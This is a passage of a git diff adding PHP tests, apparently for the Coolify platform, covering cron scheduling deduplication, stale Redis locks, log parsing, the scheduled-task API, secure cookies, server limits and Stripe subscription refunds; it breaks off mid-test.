+ $executionTimeProp->setAccessible(true);
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Minute 1
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+ $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
+ expect($result1)->toBeTrue();
+
+ // Minute 2
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+ $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
+ expect($result2)->toBeTrue();
+
+ // Minute 3
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+ $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
+ expect($result3)->toBeTrue();
+});
+
+it('does not fire non-due jobs on restart when cache is empty', function () {
+ // Time is 10:00, cron is daily at 02:00 — NOT due right now
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
+ expect($result)->toBeFalse();
+});
+
+it('fires due jobs on restart when cache is empty', function () {
+ // Time is exactly 02:00, cron is daily at 02:00 — IS due right now
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Cache is empty (fresh restart) — but cron IS due → should fire
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
+ expect($result)->toBeTrue();
+});
+
+it('does not dispatch when cron is not due and was not recently due', function () {
+ // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
+ Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
+ expect($result)->toBeFalse();
+});
+
+it('falls back to isDue when no dedup key is provided', function () {
+ // Time is exactly 02:00, cron is "0 2 * * *" — should be due
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // No dedup key → simple isDue check
+ $result = $method->invoke($job, '0 2 * * *', 'UTC');
+ expect($result)->toBeTrue();
+
+ // At 02:01 without dedup key → isDue returns false
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $result2 = $method->invoke($job, '0 2 * * *', 'UTC');
+ expect($result2)->toBeFalse();
+});
+
+it('respects server timezone for cron evaluation', function () {
+ // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
+ Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
+
+ $job = new ScheduledJobManager;
+ $reflection = new ReflectionClass($job);
+
+ $executionTimeProp = $reflection->getProperty('executionTime');
+ $executionTimeProp->setAccessible(true);
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ $method = $reflection->getMethod('shouldRunNow');
+ $method->setAccessible(true);
+
+ // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC)
+ Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
+
+ // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT
+ // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire
+ $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6');
+ expect($resultSingapore)->toBeTrue();
+
+ // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire
+ $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7');
+ expect($resultUtc)->toBeFalse();
+});
diff --git a/tests/Feature/ScheduledJobManagerStaleLockTest.php b/tests/Feature/ScheduledJobManagerStaleLockTest.php
new file mode 100644
index 000000000..e297c07bd
--- /dev/null
+++ b/tests/Feature/ScheduledJobManagerStaleLockTest.php
@@ -0,0 +1,49 @@
+set($lockKey, 'stale-owner');
+
+ expect($redis->ttl($lockKey))->toBe(-1);
+
+ $job = new ScheduledJobManager;
+ $job->middleware();
+
+ expect($redis->exists($lockKey))->toBe(0);
+});
+
+it('preserves valid lock with positive TTL', function () {
+ $cachePrefix = config('cache.prefix');
+ $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+ $redis = Redis::connection('default');
+ $redis->set($lockKey, 'active-owner');
+ $redis->expire($lockKey, 60);
+
+ expect($redis->ttl($lockKey))->toBeGreaterThan(0);
+
+ $job = new ScheduledJobManager;
+ $job->middleware();
+
+ expect($redis->exists($lockKey))->toBe(1);
+
+ $redis->del($lockKey);
+});
+
+it('does not fail when no lock exists', function () {
+ $cachePrefix = config('cache.prefix');
+ $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
+
+ Redis::connection('default')->del($lockKey);
+
+ $job = new ScheduledJobManager;
+ $middleware = $job->middleware();
+
+ expect($middleware)->toBeArray()->toHaveCount(1);
+});
diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php
index 1348375d4..036c3b638 100644
--- a/tests/Feature/ScheduledJobMonitoringTest.php
+++ b/tests/Feature/ScheduledJobMonitoringTest.php
@@ -173,6 +173,42 @@
@unlink($logPath);
});
+test('scheduler log parser excludes started events from runs', function () {
+ $logPath = storage_path('logs/scheduled-test-started-filter.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ // Temporarily rename existing logs so they don't interfere
+ $existingLogs = glob(storage_path('logs/scheduled-*.log'));
+ $renamed = [];
+ foreach ($existingLogs as $log) {
+ $tmp = $log.'.bak';
+ rename($log, $tmp);
+ $renamed[$tmp] = $log;
+ }
+
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $lines = [
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}',
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}',
+ ];
+ file_put_contents($logPath, implode("\n", $lines)."\n");
+
+ $parser = new SchedulerLogParser;
+ $runs = $parser->getRecentRuns();
+
+ expect($runs)->toHaveCount(1);
+ expect($runs->first()['message'])->toContain('completed');
+
+ // Cleanup
+ @unlink($logPath);
+ foreach ($renamed as $tmp => $original) {
+ rename($tmp, $original);
+ }
+});
+
test('scheduler log parser filters by team id', function () {
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
$logDir = dirname($logPath);
@@ -198,3 +234,39 @@
// Cleanup
@unlink($logPath);
});
+
+test('skipped jobs show fallback when resource is deleted', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ // Temporarily rename existing logs so they don't interfere
+ $existingLogs = glob(storage_path('logs/scheduled-*.log'));
+ $renamed = [];
+ foreach ($existingLogs as $log) {
+ $tmp = $log.'.bak';
+ rename($log, $tmp);
+ $renamed[$tmp] = $log;
+ }
+
+ $lines = [
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}',
+ ];
+ file_put_contents($logPath, implode("\n", $lines)."\n");
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('my-cron-job')
+ ->assertSee('Application not running');
+
+ // Cleanup
+ @unlink($logPath);
+ foreach ($renamed as $tmp => $original) {
+ rename($tmp, $original);
+ }
+});
diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php
index fbd6e383e..741082cff 100644
--- a/tests/Feature/ScheduledTaskApiTest.php
+++ b/tests/Feature/ScheduledTaskApiTest.php
@@ -2,6 +2,7 @@
use App\Models\Application;
use App\Models\Environment;
+use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\ScheduledTask;
use App\Models\ScheduledTaskExecution;
@@ -15,6 +16,9 @@
uses(RefreshDatabase::class);
beforeEach(function () {
+ // ApiAllowed middleware requires InstanceSettings with id=0
+ InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);
+
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
@@ -25,12 +29,14 @@
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
- $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ // Server::booted() auto-creates a StandaloneDocker, reuse it
+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+ // Project::booted() auto-creates a 'production' Environment, reuse it
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
- $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+ $this->environment = $this->project->environments()->first();
});
-function authHeaders($bearerToken): array
+function scheduledTaskAuthHeaders($bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
@@ -46,7 +52,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
$response->assertStatus(200);
@@ -66,7 +72,7 @@ function authHeaders($bearerToken): array
'name' => 'Test Task',
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
$response->assertStatus(200);
@@ -75,7 +81,7 @@ function authHeaders($bearerToken): array
});
test('returns 404 for unknown application uuid', function () {
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks');
$response->assertStatus(404);
@@ -90,7 +96,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Backup',
'command' => 'php artisan backup',
@@ -116,7 +122,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'command' => 'echo test',
'frequency' => '* * * * *',
@@ -132,7 +138,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Test',
'command' => 'echo test',
@@ -150,7 +156,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Test',
'command' => 'echo test',
@@ -168,7 +174,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
'name' => 'Test',
'command' => 'echo test',
@@ -199,7 +205,7 @@ function authHeaders($bearerToken): array
'name' => 'Old Name',
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [
'name' => 'New Name',
]);
@@ -215,7 +221,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [
'name' => 'Test',
]);
@@ -237,7 +243,7 @@ function authHeaders($bearerToken): array
'team_id' => $this->team->id,
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}");
$response->assertStatus(200);
@@ -253,7 +259,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent");
$response->assertStatus(404);
@@ -279,7 +285,7 @@ function authHeaders($bearerToken): array
'message' => 'OK',
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions");
$response->assertStatus(200);
@@ -294,7 +300,7 @@ function authHeaders($bearerToken): array
'destination_type' => $this->destination->getMorphClass(),
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions");
$response->assertStatus(404);
@@ -316,7 +322,7 @@ function authHeaders($bearerToken): array
'name' => 'Service Task',
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks");
$response->assertStatus(200);
@@ -332,7 +338,7 @@ function authHeaders($bearerToken): array
'environment_id' => $this->environment->id,
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [
'name' => 'Service Backup',
'command' => 'pg_dump',
@@ -356,7 +362,7 @@ function authHeaders($bearerToken): array
'team_id' => $this->team->id,
]);
- $response = $this->withHeaders(authHeaders($this->bearerToken))
+ $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}");
$response->assertStatus(200);
diff --git a/tests/Feature/SecureCookieAutoDetectionTest.php b/tests/Feature/SecureCookieAutoDetectionTest.php
new file mode 100644
index 000000000..4db0a7681
--- /dev/null
+++ b/tests/Feature/SecureCookieAutoDetectionTest.php
@@ -0,0 +1,64 @@
+ 0], ['fqdn' => null]);
+ // Ensure session.secure starts unconfigured for each test
+ config(['session.secure' => null]);
+});
+
+it('sets session.secure to true when request arrives over HTTPS via proxy', function () {
+ $this->get('/login', [
+ 'X-Forwarded-Proto' => 'https',
+ 'X-Forwarded-For' => '1.2.3.4',
+ ]);
+
+ expect(config('session.secure'))->toBeTrue();
+});
+
+it('does not set session.secure for plain HTTP requests', function () {
+ $this->get('/login');
+
+ expect(config('session.secure'))->toBeNull();
+});
+
+it('does not override explicit SESSION_SECURE_COOKIE=false for HTTPS requests', function () {
+ config(['session.secure' => false]);
+
+ $this->get('/login', [
+ 'X-Forwarded-Proto' => 'https',
+ 'X-Forwarded-For' => '1.2.3.4',
+ ]);
+
+ // Explicit false must not be overridden — our check is `=== null` only
+ expect(config('session.secure'))->toBeFalse();
+});
+
+it('does not override explicit SESSION_SECURE_COOKIE=true', function () {
+ config(['session.secure' => true]);
+
+ $this->get('/login');
+
+ expect(config('session.secure'))->toBeTrue();
+});
+
+it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () {
+ $response = $this->get('/login', [
+ 'X-Forwarded-Proto' => 'https',
+ 'X-Forwarded-For' => '1.2.3.4',
+ ]);
+
+ $response->assertSuccessful();
+
+ $cookieName = config('session.cookie');
+ $sessionCookie = collect($response->headers->all('set-cookie'))
+ ->first(fn ($c) => str_contains($c, $cookieName));
+
+ expect($sessionCookie)->not->toBeNull()
+ ->and(strtolower($sessionCookie))->toContain('; secure');
+});
diff --git a/tests/Feature/ServerLimitCheckJobTest.php b/tests/Feature/ServerLimitCheckJobTest.php
new file mode 100644
index 000000000..6b2c074be
--- /dev/null
+++ b/tests/Feature/ServerLimitCheckJobTest.php
@@ -0,0 +1,83 @@
+set('constants.coolify.self_hosted', false);
+
+ Notification::fake();
+
+ $this->team = Team::factory()->create(['custom_server_limit' => 5]);
+});
+
+function createServerForTeam(Team $team, bool $forceDisabled = false): Server
+{
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ if ($forceDisabled) {
+ $server->settings()->update(['force_disabled' => true]);
+ }
+
+ return $server->fresh(['settings']);
+}
+
+it('re-enables force-disabled servers when under the limit', function () {
+ createServerForTeam($this->team);
+ $server2 = createServerForTeam($this->team, forceDisabled: true);
+ $server3 = createServerForTeam($this->team, forceDisabled: true);
+
+ expect($server2->settings->force_disabled)->toBeTruthy();
+ expect($server3->settings->force_disabled)->toBeTruthy();
+
+ // 3 servers, limit 5 → all should be re-enabled
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($server2->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($server3->fresh()->settings->force_disabled)->toBeFalsy();
+});
+
+it('re-enables force-disabled servers when exactly at the limit', function () {
+ $this->team->update(['custom_server_limit' => 3]);
+
+ createServerForTeam($this->team);
+ createServerForTeam($this->team);
+ $server3 = createServerForTeam($this->team, forceDisabled: true);
+
+ // 3 servers, limit 3 → disabled one should be re-enabled
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($server3->fresh()->settings->force_disabled)->toBeFalsy();
+});
+
+it('disables newest servers when over the limit', function () {
+ $this->team->update(['custom_server_limit' => 2]);
+
+ $oldest = createServerForTeam($this->team);
+ sleep(1);
+ $middle = createServerForTeam($this->team);
+ sleep(1);
+ $newest = createServerForTeam($this->team);
+
+ // 3 servers, limit 2 → newest 1 should be disabled
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($oldest->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($middle->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($newest->fresh()->settings->force_disabled)->toBeTruthy();
+});
+
+it('does not change servers when under limit and none are force-disabled', function () {
+ $server1 = createServerForTeam($this->team);
+ $server2 = createServerForTeam($this->team);
+
+ // 2 servers, limit 5 → nothing to do
+ ServerLimitCheckJob::dispatchSync($this->team);
+
+ expect($server1->fresh()->settings->force_disabled)->toBeFalsy();
+ expect($server2->fresh()->settings->force_disabled)->toBeFalsy();
+});
diff --git a/tests/Feature/Subscription/CancelSubscriptionActionsTest.php b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php
new file mode 100644
index 000000000..0c8742d06
--- /dev/null
+++ b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php
@@ -0,0 +1,96 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_456',
+ 'stripe_customer_id' => 'cus_test_456',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_456',
+ 'stripe_cancel_at_period_end' => false,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+});
+
+describe('CancelSubscriptionAtPeriodEnd', function () {
+ test('cancels subscription at period end successfully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_456', ['cancel_at_period_end' => true])
+ ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => true]);
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_cancel_at_period_end)->toBeTruthy();
+ expect($this->subscription->stripe_invoice_paid)->toBeTruthy();
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No active subscription');
+ });
+
+ test('fails when subscription is not active', function () {
+ $this->subscription->update(['stripe_invoice_paid' => false]);
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('not active');
+ });
+
+ test('fails when already set to cancel at period end', function () {
+ $this->subscription->update(['stripe_cancel_at_period_end' => true]);
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('already set to cancel');
+ });
+
+ test('handles stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
+
+ $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Stripe error');
+ });
+});
diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php
new file mode 100644
index 000000000..b6c2d4064
--- /dev/null
+++ b/tests/Feature/Subscription/RefundSubscriptionTest.php
@@ -0,0 +1,271 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_123',
+ 'stripe_customer_id' => 'cus_test_123',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_123',
+ 'stripe_cancel_at_period_end' => false,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockInvoices = Mockery::mock(InvoiceService::class);
+ $this->mockRefunds = Mockery::mock(RefundService::class);
+
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+ $this->mockStripe->invoices = $this->mockInvoices;
+ $this->mockStripe->refunds = $this->mockRefunds;
+});
+
+describe('checkEligibility', function () {
+ test('returns eligible when subscription is within 30 days', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeTrue();
+ expect($result['days_remaining'])->toBe(20);
+ });
+
+ test('returns ineligible when subscription is past 30 days', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(35)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['days_remaining'])->toBe(0);
+ expect($result['reason'])->toContain('30-day refund window has expired');
+ });
+
+ test('returns ineligible when subscription is not active', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'canceled',
+ 'start_date' => now()->subDays(5)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ });
+
+ test('returns ineligible when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('No active subscription');
+ });
+
+ test('returns ineligible when invoice is not paid', function () {
+ $this->subscription->update(['stripe_invoice_paid' => false]);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('not paid');
+ });
+
+ test('returns ineligible when team has already been refunded', function () {
+ $this->subscription->update(['stripe_refunded_at' => now()->subDays(60)]);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('already been processed');
+ });
+
+ test('returns ineligible when stripe subscription not found', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('No such subscription'));
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->checkEligibility($this->team);
+
+ expect($result['eligible'])->toBeFalse();
+ expect($result['reason'])->toContain('not found in Stripe');
+ });
+});
+
+describe('execute', function () {
+ test('processes refund successfully', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => [
+ (object) ['payment_intent' => 'pi_test_123'],
+ ]];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->with([
+ 'subscription' => 'sub_test_123',
+ 'status' => 'paid',
+ 'limit' => 1,
+ ])
+ ->andReturn($invoiceCollection);
+
+ $this->mockRefunds
+ ->shouldReceive('create')
+ ->with(['payment_intent' => 'pi_test_123'])
+ ->andReturn((object) ['id' => 're_test_123']);
+
+ $this->mockSubscriptions
+ ->shouldReceive('cancel')
+ ->with('sub_test_123')
+ ->andReturn((object) ['status' => 'canceled']);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
+ expect($this->subscription->stripe_feedback)->toBe('Refund requested by user');
+ expect($this->subscription->stripe_refunded_at)->not->toBeNull();
+ });
+
+ test('prevents a second refund after re-subscribing', function () {
+ $this->subscription->update([
+ 'stripe_refunded_at' => now()->subDays(15),
+ 'stripe_invoice_paid' => true,
+ 'stripe_subscription_id' => 'sub_test_new_456',
+ ]);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('already been processed');
+ });
+
+ test('fails when no paid invoice found', function () {
